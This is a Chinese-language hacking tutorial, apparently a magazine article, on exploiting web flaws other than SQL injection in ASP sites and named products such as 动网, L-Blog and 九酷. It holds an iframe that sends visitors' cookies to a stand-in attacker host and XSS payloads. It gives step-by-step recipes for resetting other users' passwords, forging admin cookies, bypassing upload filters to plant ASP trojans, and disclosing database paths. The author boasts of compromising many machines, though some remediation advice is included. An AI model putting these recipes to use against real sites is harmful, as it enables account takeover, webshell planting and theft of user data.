网站程序中非SI漏洞的利用
人气:0想了解网站程序中非SI漏洞的利用的相关内容吗,在本文为您仔细讲解的相关知识和一些Code实例,欢迎阅读和指正,我们先划重点:网站站程程序序中中非非SSII漏漏洞洞的的利利用用,下面大家一起来学习吧。
Part I 前言
现在网上最流行的网站攻击手段,要数得上SQL Injection了,虽然SI技术易学易用,并且容易取得较大的权限,但因其风头实在太大,现在一般稍有点安全意识的程序员都会注意到这个问题,并且通过GET方法提交的数据会被服务器记录在案,而让网管很容易找到入侵者。
非SI类攻击相对来说获得的服务器操作权限不大,但对于以获得数据为目的的入侵还是很有用的。
Part II 方法介绍
常规的非SI类攻击有如下几种:
一、 跨站脚本攻击(XSS)
跨站脚本攻击不会直接对网站服务器造成破坏,其主要的攻击对象是网站的访问者,这里入侵者大致有三种目的:
一是对网站页面浏览者进行侵害:如在网站页面中加入自动下载的代码,或者利用像IE Frame漏洞等向浏览者植入木马,或者劫持浏览器等。
二是盗取浏览者的cookies。入侵者可以在自己的网站上建立一个可以接受并保存信息的页面,并在被入侵网站的页面上加入一个长宽都为0的隐藏iframe,地址为:http://hackerserver.com/get.asp?info=document.cookies,服务器端的get.asp页面接受info信息并保存在数据库中,这样入侵者就可以获得浏览者在被入侵网站上的cookies信息了。如果盗取的是一般用户的密码,危害还不算很大,但是如果入侵者利用社会工程学,让登陆后并且密码保存在cookies中的管理员访问页面,就可以盗取管理员的密码,从而进一步控制网站。
三是利用大量的访客请求来重复某一操作。前一阵某商务网站消息说国内某著名搜索引擎在其搜索联盟中加入隐藏的iframe访问该商务网站,对其进行DDOS攻击导致其服务器负荷过大。且不说这个事情是真是假,但是这种思路是我们应该注意的。2004年11期《黑客X档案》上有一篇名为《玩转X树下》的文章(第62页),作者利用跨站脚本攻击在页面中插入了发帖的代码,巨大的访问量使垃圾帖数目暴涨,最后服务器不堪重负几近崩溃。
跨站攻击的手段看似简单,只需在提交的内容(如留言,评论)中加入危险的代码即可,但如何绕过程序对非法字符的过滤,则是一件很复杂的事情。常用的手段有:变更大小写、转换为ASII码或转义符、调用远程js脚本文件等脚本的变形和隐藏方法、使用Flash的Geturl参数等等。
小诀窍
1、如何对付表单的检测。
有些网站为了防止跨站脚本攻击,在其表单中加入一些Javascript代码来检测文本框的值,如不合法就弹出对话框提示,并禁止提交,但是这种只在客户端作的限制相当于什么限制都没作,我们可以把网页保存到本地,去掉相应的检测的JS代码,再修改网页中form的action属性,使其指向网站,再提交,如果网站没有在服务器端再次作验证的话,就会被入侵。(河北省高中生信息技术会考程序就存在此漏洞。)
2、关于UBB。
UBB代码是一些程序为了在限制html代码的同时不致使提交的信息过于单调而运用的一种手段,其方法就是让用户使用一些特定的标签,然后在服务器端转换这些标签,但是如果转换的语句没有写好的话仍然会造成危险。(我们会在后面的实例中进一步展示绕过UBB的方法。)
下面请跟我用实例来体会一下:
实例1-1:无过滤的脚本插入
这是动感商城某一个版本的“客户反馈”功能,是一个名为fk.asp的自提交页面,其中将数据存储至数据库的代码是这样的。
rs.addnew
rs(\\"fksubject\\")=checkFFSQLStr(trim(request(\\"fksubject\\")))
rs(\\"fkleixing\\")=checkFFSQLStr(request(\\"fkleixing\\"))
rs(\\"fkcontent\\")=checkFFSQLStr(trim(request(\\"fkcontent\\"))) ‘看,没有进行危险字符过滤
rs(\\"fkusername\\")=checkFFSQLStr(trim(request(\\"fkusername\\")))
rs(\\"fkemail\\")=checkFFSQLStr(trim(request(\\"fkemail\\")))
rs(\\"fktel\\")=checkFFSQLStr(trim(request(\\"fktel\\")))
rs(\\"fklaizi\\")=checkFFSQLStr(trim(request(\\"fklaizi\\")))
rs(\\"fkdate\\")=now
rs(\\"fkip\\")=Request.ServerVariables(\\"remote_addr\\")
rs.update
rs.close
我们不难发现,程序在把数据存进数据库之前只对是否有能构成SI的字符进行了过滤(这个过滤恰恰是没有必要的,因为参数不引入查询条件)而对危险字符如script等没有进行过滤,显示留言的页面lyb.asp也没有先过滤再显示。如果我们在留言中提交<script>alert(document.cookie)</script>,就可以弹出用户的cookies信息。(如图一)
实例1-2:过滤不好的UBB的脚本插入
某著名Blog程序的UBB转换页面ubbcode.asp其中转换危险字符的一个片断如下:
Str = Replace(Str, \\"script\\", \\"script\\")
Str = Replace(Str, \\"SCRIPT\\", \\"SCRIPT\\")
Str = Replace(Str, \\"Script\\", \\"Script\\")
Str = Replace(Str, \\"script\\", \\"Script\\")
我们可以提交sCRipt这样的字符来绕过此限制,譬如提交信息
[ img ]javascript:window.close()[ /img ](去掉空格)
可以关闭窗口。
二、越权攻击
越权攻击是由于程序员对页面的访问权的检测不完善而造成的使入侵者不需得到用户或管理员的密码即可访问只有特定用户或管理员才能访问的页面的一种漏洞。
这种越权让我想到了很久很久以前(大约2000年以前),流行的“聊天室踢人大法”,就是利用访问某些对用户的权限检测不完善的聊天室程序的负责踢人的页面来达到任意踢人的目的。
不过这种越管理员权限的漏洞通常比较隐蔽,尤其是对非开源的程序,大多只能凭经验来猜。再看一个越普通用户权限的例子:某程序的修改用户资料的页面通过获取GET的参数引入程序进行处理,显示相关数据,如:http://targetzone.com/edituser.asp?userid=Daniel,这本来是修改用户Daniel的资料,但是如果程序没有加别的验证,我们就可以通过修改参数的值来修改任意用户的资料,如提交http://targetzone.com/edituser.asp?userid=Kitty来修改Kitty用户的资料。
程序员在制作此类程序是应该验证session来判断用户是否登陆,并且应该从session中获取当前登陆的用户名,其余如Get,cookies等数据都是不可信的。
再一种越权,我们可以称之为“越步越权”,这类漏洞是针对于某些需要N个步骤完成的过程,第X步没有检测是否完成了X-1步而使攻击者可以跳过前X-1步。这种漏洞常出现在找回密码的程序中,最后验证完毕修改密码的页面只是把要修改的用户名以隐藏域的方式放在了网页中,但是下一步没有进行相关检测导致可以修改任意用户的密码。
小诀窍
1、隐藏域的利用。
许多程序员喜欢使用表单隐藏域而并非session在程序中传递一些步骤中出现的参数,对于某些非敏感数据来说,这样可以节省一定的服务器资源,但是对于一些敏感数据来说,这是十分危险的,因为用户虽然在网页上看不到隐藏域,但是用户可以查看源代码来找到隐藏域,并且可以通过把网页保存到本地并且修改隐藏域的值来达到越权的目的。
好的,我们来看几个实例:
实例2-1:某版本动感商城找回用户密码的越步漏洞
动感商城的这个版本漏洞很多,其找回密码的部分分为4个页面,getpwd.asp~getpwd4.asp,分别对应填写用户名、填写提示密码答案、重新设置密码、将新的密码更新至数据库的操作。其中getpwd4.asp的部分代码是这么写的。
<%username=request(\\"username\\")
passwd=md5(trim(request.form(\\"passwd\\")))
set rs=Server.CreateObject(\\"Adodb.Recordset\\")
sql=\\"select * from [user] where username='\\"&username&\\"'\\"
rs.open sql,conn,1,3
If rs.eof Then
%>
<script language=\\"javascript\\">
alert(\\"这个用户还没有注册呢,请到首页注册吧!\\")
location.href=\\"javascript :history.back()\\"
</script>
<%
else
rs(\\"userpassword\\")=passwd
rs.update
end if
rs.close
set rs=nothing
conn.close
set conn=nothing%>………
可以发现第一行没有检测requect来得数据到底是不是填写了相关信息。
假设我们由于某种原因要盗取用户Kitty的密码:我们可以这样做:先注册一个新用户Daniel,并记下所填写的提示问题答案,然后去找回密码,直到getpwd3.asp这个页面,把此页面保存至本地,用记事本打开页面,把form的action属性值中的Daniel改为Kitty,并把网址补充完整,然后在本地打开此页面,填写密码并提交就可以修改Kitty的密码为你刚才在这个页面填写的密码。
实例2-2:九酷网络个人主页空间管理系统3.0的越权漏洞:
程序中检测是否登陆是通过在页面include文件chkuser.asp来实现的
<%if session(\\"user_userid\\")=\\"\\" or session(\\"user_username\\")=\\"\\" then ‘漏洞原因
Response.write\\"<script>alert('对不起,您还没有登录或登录出错!');top.location.href='index.asp'</script>\\"
response.End
end if
%>
可以看到,这个文件只检查了session是否为空,而没有检查到底的操作是否是当前所登录用户的!所以这个程序存在多处越权漏洞,先看越用户修改资料的漏洞:登陆后可以看到界面分为上、左、右三个框架。顶部的框架主要是几个导航的连接,按住shift点”修改个人资料”,使其在新窗口打开,地址为:http://127.0.0.1/edituser.asp?userid=39&username=Daniel,不难看出,地址中的username参数的值就是当前用户名,那么我们把它改一下试试……打开页面http://127.0.0.1/edituser.asp?userid=39&username=Kitty,Bingo!网页上显示出我们注册Kitty用户时填写的资料!随便改改吧……这里我们可以修改它的密码提示问题和答案,然后再通过“忘记密码”功能修改该用户的密码。再来看显示并修改任意用户文件的漏洞。经检测,负责显示文件列表的页面是http://127.0.0.1/main.asp?userid=39&username=Daniel&path=Daniel,我们可以通过修改path的值这里对服务器上的文件进行浏览,上传,删除,改名等操作。
实例2-3:LB5000修改注册声明的漏洞
由于雷傲的LB5000的setregmsg.cgi和setregrules.cgi两个文件存在越权漏洞,导致攻击者可以直接修改论坛“注册声明”和“短消息欢迎信息” 。提交如下请求可以修改“注册声明”:http://www.targetzome.com/ cgi-bin/setregrules.cgi?action=process&therules=要修改的内容。我们可以通过这个写入一些跨站的代码。
三、cookies欺骗
什么是cookies呢, Cookies是一个储存于浏览器目录中的文本文件,记录你访问一个特定站点的信息,且只能被创建这个cookies的站点读回,约由255个字符组成,仅占4KB硬盘空间。当用户正在浏览某站点时,它储存于客户机的内存中,退出浏览器后,它储存于用户的硬盘中。储存在Cookies中的大部分信息是普通的,如当你浏览一个站点时,此文件记录了每一次的击键信息和被访站点的地址等。但是许多Web站点使用Cookies来储存针对私人的数据,如:注册口令、用户名、信用卡编号等。
Cookies欺骗是在客户端对网站要读取的cookies修改成我们想伪装的值而对程序进行欺骗,让其误认为我们是已登陆的用户从而达到某种目的,可以说,这也是越权的一种方法。
我们还是说有些程序员对风险估计不足,对于客户端过于信任,把本应该存储在session中的敏感信息存储在了cookies中导致了这种漏洞,所以这种漏洞相对来说也是比较隐蔽的。
进行这种攻击的一般思路是得到合法的cookies->使用工具修改cookies->访问限制页面,越权成功。
假设我们在站点http://targetzone.com上有一个合法帐号Daniel,现在我们想用用户Kitty的身份登陆,但是我们没有Kitty的密码(废话,否则还攻击什么……),我们试试用cookies欺骗的方法达到目的:
以Daniel的身份登陆targetzone.com并且选择保存登陆资料,关闭浏览器,使用IECookiesView这个软件打开本机的Cookies信息,选择站点targetzone.com,修改username的值为Kitty,再次访问网站,发现我们已经以Kitty的身份登陆了。
但是这种攻击也是有一个比较大的硬伤的,且不说网站是否把信息保存在cookies中,单说有的网站把用户名和密码一起保存在cookies中,每次访问的时候先根据用户名和密码进行检测,然后再判断是否合法。所以说这种漏洞其实单独使用并不是非常有效,但是配合其他的入侵就好用多了,譬如下载了某站点的数据库,但是其中的密码都是MD5加密的,除非暴力破解出MD5散列的值,否则无法在网站上登陆,不过如果网站是把用户名和MD5后的密码保存在Cookies中,我们就可以应用了。或者网站防SI的措施比较严密,在url中找不到注入点,可以在cookies中找注入点等。还有的网站把用户的权限保存在cookies中,也可以通过修改来达到提升权限的目的。
实例3-1 某下载程序的欺骗漏洞:
其处理登陆的代码是这样的:
<%If Cookies(\\"down_Isadder\\")=\\"\\" then%>
<script language=\\"Vbscript\\">
msgbox(\\"对不起,您没有权限管理用户!如果您是管理员,请登陆!\\")
window.close()
</script>
<%Else%>
…………
真晕,只检测了那个cookies是否为空,所以我们使用IECookiesView来把down_Isadder的值改为任意值(当然,除了空值)都可以登陆管理。
实例3-2:L-blog的cookie越权上传欺骗漏洞:
最近这个漏洞真是毁掉包括不少黑客在内的WebLog啊。L-Blog的提取cookies的文件存在逻辑漏洞使得任意用户可以跨越至管理员的权限上传文件。
文件attachment.asp的部分代码:
IF memStatus="SupAdmin" OR memStatus="Admin" Then
IF Request.QueryString("action")="upload" Then
可以看到,程序检测SupAdmin的值是不是管理员所对应的值,如果是就允许上传,而并未检测登陆的用户是谁。再看验证cookies的程序command.asp,检测如果memName(cookies中取得的用户名)为空,则不进行任何操作。如果不为空,则验证保存的用户名和密码是否正确,不正确清空cookies。这里就为我们留下了一个漏洞,如果cookies中的用户名的值(memName)为空,而用户权限(memStatus)的值不为空,这样command.asp文件就不验证用户名和密码,但是上传页面检测到memStatus是管理员的,就可以上传了。
我们可以先注册普通用户,登陆并保存cookies,修改cookies使memName的值为空,memStatus的值为SupAdmin或者Admin,然后就可以上传了。
但是只能上传某几种文件,我们是不能上传Asp木马的,怎么办呢……我们再来看看如何传asp木马。
四、非法上传漏洞
以合法致非法,我们先来说两个简单的不算漏洞的漏洞。
一些程序限制了如asp,asa等扩展名是不能上传的,但是我们看看IIS的设置,发现还有一些扩展名是由asp.dll解释的,如cer所以如果某些程序不允许上传asp文件,我们可以把木马的扩展名改为cer,然后再上传,这时如果服务器没有把cer的解析去掉的话,我们就可以运行木马了。还有一些扩展名的文件,是可以执行SSI(Server Side Include)指令的,如stm,上传一个seeit.stm文件,内容为” <!--#include file="conn.asp"-->”,然后访问此文件,即可看到conn.asp文件的内容。所以程序员在作上传检测的时候,应该设定什么样子的文件允许上传而并非什么样的文件不能上传。
再说关于上传程序的漏洞。
前一阵子出现的动网论坛的上传漏洞可谓风风雨雨啊,Daniel也用这个漏洞攻下了许多顽固肉鸡,我们先就动网的上传来分析:
动网本来是不允许上传asp等危险文件的,但是其上传的处理有一定的漏洞导致程序获取的参数有误而使入侵者可以上传任意文件。
先看看提交上传的一个页面reg_upload.asp:
<form name=\\"form\\" method=\\"post\\" action=\\"upfile.asp\\" enctype=\\"multipart/form-data\\" >
<input type=\\"hidden\\" name=\\"filepath\\" value=\\"uploadFace\\">
<input type=\\"hidden\\" name=\\"act\\" value=\\"upload\\">
<input type=\\"file\\" name=\\"file1\\">
<input type=\\"hidden\\" name=\\"fname\\">
<input type=\\"submit\\" name=\\"Submit\\" value=\\"上传\\" onclick=\\"fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;\\">
</form>
程序是提取file1表单和fname表单中的值来做判断的.也就是说直接从页面递交要上传的asp文件程序是会检测出来的。不过我们可以自己构造数据包并使用NC提交,达到越过检测的目的。但是我们的主要问题是上传后的文件一定要是asp格式的,虽然file1的值合法,但是最终达到保存的扩展名为asp的目的应该怎么办呢?
动网所用的无组件上传类中有一句是这么写的:
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&\\".\\"&fileExt
这个filename为程序生成的保存的文件的文件名。在计算机中检测字符串的关键就是看是否碰到''字符, 如果是,则认为字符串结束了.也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似"uploadfaceDaniel.asp" 这样的路径参数已经结束了,就可以达到我们的目的了。
这种漏洞的原理就分析到这里,现在很多上传都存在这种漏洞,先抓包再手动提交实在太累了,Daniel建议大家使用网上的一些上传漏洞利用工具来减轻负担。
再来看一个My动力3.51的漏洞。其上传页面Upfile_Soft.asp的部分代码是这样的:
Fot i=0 to ubound(arrUpFileType)
If fileEXT=trim(arrUpFileType(i)) then
Enableupload=true
因为My动力所采用的上传类可以上传多个文件,我们从上面的代码可以看出,如果上传多个文件时,第N-1个文件的扩展名不合法,而第N个文件的扩展名合法的话,是可以通过检测的。所以我们只要自己构造页面,上传两个文件,并且第二个的扩展名是程序可以上传的,就可以了。但是My动力系统是禁止表单外部提交的,如何绕过这个限制呢,请看-表单的攻防。
小诀窍:
1、利用数据库的备份恢复功能把合法变非法。
毕竟还是有许多系统不存在上传的逻辑漏洞,那么我们怎么上传脚本木马呢。这个诀窍要求你能登陆后台,并且网站系统有备份和恢复数据库的功能。现通过合法渠道把木马改名为合法的扩展名上传,然后在备份和恢复数据库的页面中,把上传后的文件名写在备份和恢复的路径中,然后还原,由于程序是将数据库以asp扩展名存放的,所以木马也可以正常解析了。
五、表单的攻防
本文前面一些地方已经提到了一些关于程序中表单的不安全因素,现在我们来总结一下。对于表单的攻击,主要的思路就是把含有表单的页面保存到本地,修改去掉相关限制,并且将其action提交地址补全为网站上的地址,然后再提交。
所以不难看出,关于表单的一切,如果在服务器端不再次验证的话,都是危险和不可信的。建议程序员在客户端做表单合法性检查的同时尽量在服务器端再次验证并且在服务器端加相应的禁止外部提交的代码。:
<%server_v1=Cstr(Request.ServerVariables(\\"HTTP_REFERER\\"))
server_v2=Cstr(Request.ServerVariables(\\"SERVER_NAME\\"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write \\"<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>\\"
response.write \\"<tr><td style='font:9pt Verdana'>\\"
response.write \\"你提交的路径有误,禁止从站点外部提交数据请不要乱该参数!\\"
response.write \\"</td></tr></table></center>\\"
response.end
end if%>
我们来想想有哪些表单的限制:Js合法性检查、隐藏域、不可修改(ReadOnly)域。
不知道大家是否还记得ofstar论坛的论坛群组,采用一个readonly域显示某一群组的成员,我们就可以把网页下载下来,去掉readonly属性,然后自己加上你想加入此论坛的会员,然后提交……
小诀窍:
1、绕过禁止外部提交:
可以自己写一个socket程序来修改http_referer的值,但是这种方法比较麻烦,我介绍一种简单的。
这个诀窍要求你有上传图片的权限。IE打开图片的时候,如果图片中是html代码的话,就像网页一样可以运行其代码。这样我们可以把构造的页面改扩展名为图片,并且上传,访问这个页面并且提交就是在服务器端提交了。(注意:这种方法在构造页面的时候一定要把诸如<html>那些基础标签都写全。)
实例5-1:九酷网络个人主页空间管理系统3.0的向任意目录上传漏洞:
登陆后,点击”上传文件”按钮,弹出一个网页,里面可以设定上传个数,还有一个上传目录的文本框,但是不可以修改,在IE中将这个页面另存,然后找到文件的第44行,代码为: <LI>上传到: <INPUT class=INPUT style="WIDTH: 200px" ReadOnly…我们把这个ReadOnly删除,然后找到文件第37行,把form标签的action属性中的值补全(就是把网站地址加上) ,然后在本地打开这个页面,此时”上传倒”文本框已经可以修改了,我们将其改为:../,选择文件上传,可以发现,这个文件已经传到上一级目录下了。
六、暴库、暴文件内容的漏洞
大家都听说过%5c暴库漏洞吧,就是对于操作数据库的页面把地址栏最靠近文件名的那个”/”改为”%5c”,如果满足以下条件,就可以看见数据库的路径:一般的错误返回页面是本地IE提供的,所以我们先得关了本地的错误页面,具体在菜单项的‘工具->internet选项->高级->显示友好信息';对方数据库要是Access型;%5c的暴库需要的是二级目录,一级目录无法成功;对方的页面没有容错语句。原理比较复杂,请大家自己Google。
有的程序员喜欢把include的页面扩展名都写成inc,并且许多教程也是这样建议的,但是这样使得程序存在一个大漏洞,由于inc默认不是由asp.dll解析的,所以是直接以文本的方式显示,这样如果别人就可以直接访问你的数据库定义的页面(如conn.inc)来的知数据库地址或SQL帐号密码。
有些网站为了防止软件下载的盗链,对于下载软件都是用一个页面读取,然后输出流的方式传送到客户端,其文件名参数通常以GET方式附加在地址中,如http://targetzone.com/down.asp?path=Daniel.zip,我们先可以大概猜出其数据链接文件相对于软件库的位置,并且更改path参数的值,如果幸运的话,就可以下载到未经asp.dll解析的数据链接文件了。
Part III总结和后记
时间已到清晨,太阳升起来了,阳光洒满大地,花了大概3天的业余时间写的这篇文章到这里基本上就结束了,但是我要强调的是,网站程序中非SI的漏洞远不止于此,并且许多未知的逻辑漏洞还是未曾被发现的,本专题由于篇幅和时间的限制,仅对目前比较常用的一些手段作了简单的介绍,希望Daniel能对大家起到抛砖引玉的作用,各位如果真正认真地研究一下网上一些程序的代码,就可以发现许多未被别人发现的漏洞出现了。
漏洞并不可怕,可怕的是程序员没有一种严谨的态度和完整、周全的思路。
老编土豆曾问我怎么想到这个主题的,其实我只是对只会用NBSI乱注网站的菜鸟(包括我自己)的行为感到深深遗憾和担忧,只会用工具的黑客不是黑客,我们一定要学会用自己的思想发现漏洞,修补漏洞,才能做到真正技术上的提高。
加载全部内容